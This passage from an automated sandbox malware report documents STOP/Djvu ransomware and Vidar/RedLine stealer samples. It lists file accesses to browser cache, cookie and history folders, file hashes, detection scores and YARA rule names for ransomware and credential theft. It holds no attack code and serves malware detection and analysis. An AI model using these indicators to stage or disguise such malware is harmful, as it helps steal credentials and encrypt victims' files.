File Path Access Attributes Options Completion Count Source Address Symbol

Analysis Process: 2OmglUwx83.exe PID: 3788, Parent PID: 5944

General

File Activities

File Created
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C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 40CFAC InternetOpen
UrlW

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Analysis Process: build2.exe PID: 2928, Parent PID: 5076

General
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Target ID: 12

Start time: 11:23:17

Start date: 05/08/2022

Path: C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe" 

Imagebase: 0x400000

File size: 448512 bytes

MD5 hash: 2F3D0323BA962334EF87ED098AD02289

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 
0000000C.00000002.420520373.00000000006A8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 
0000000C.00000002.419588694.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Antivirus matches: Detection: 100%, Joe Sandbox ML
Detection: 37%, Metadefender, Browse
Detection: 81%, ReversingLabs

Reputation: moderate

Target ID: 13

Start time: 11:23:21

Start date: 05/08/2022

Path: C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe" 

Imagebase: 0x400000

File size: 448512 bytes

MD5 hash: 2F3D0323BA962334EF87ED098AD02289

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 
0000000D.00000000.409643469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 
0000000D.00000002.615942779.0000000000648000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 
0000000D.00000000.410137244.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 
0000000D.00000002.613626255.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 
0000000D.00000000.410711943.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Reputation: moderate

Target ID: 14

Start time: 11:23:21

Start date: 05/08/2022

Path: C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe" --AutoStart

Imagebase: 0x400000

File size: 878080 bytes

MD5 hash: 24B6EFFDD763BEFB6FF4A657E15C77BC

Has elevated privileges: true

Analysis Process: build2.exe PID: 5652, Parent PID: 2928

General

Analysis Process: 2OmglUwx83.exe PID: 4444, Parent PID: 3808

General
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Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000E.00000002.427528493.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000E.00000002.427528493.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 
0000000E.00000002.427284724.0000000000696000.00000040.00000800.00020000.00000000.sdmp, Author: unknown

Reputation: low

Target ID: 15

Start time: 11:23:24

Start date: 05/08/2022

Path: C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe" --AutoStart

Imagebase: 0x400000

File size: 878080 bytes

MD5 hash: 24B6EFFDD763BEFB6FF4A657E15C77BC

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000F.00000000.422829204.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000F.00000000.423610387.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000F.00000000.423610387.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000F.00000000.423610387.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000F.00000000.423610387.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000F.00000002.430133993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000F.00000002.430133993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000F.00000002.430133993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000F.00000002.430133993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000F.00000000.426354404.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000F.00000000.426354404.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000F.00000000.426354404.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000F.00000000.426354404.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000F.00000000.424342597.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000F.00000000.424342597.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000F.00000000.424342597.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000F.00000000.424342597.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000F.00000000.425104342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000F.00000000.425104342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000F.00000000.425104342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000F.00000000.425104342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 
0000000F.00000000.425807997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 
0000000F.00000000.425807997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 
0000000F.00000000.425807997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 
0000000F.00000000.425807997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Reputation: low

Analysis Process: 2OmglUwx83.exe PID: 4484, Parent PID: 4444
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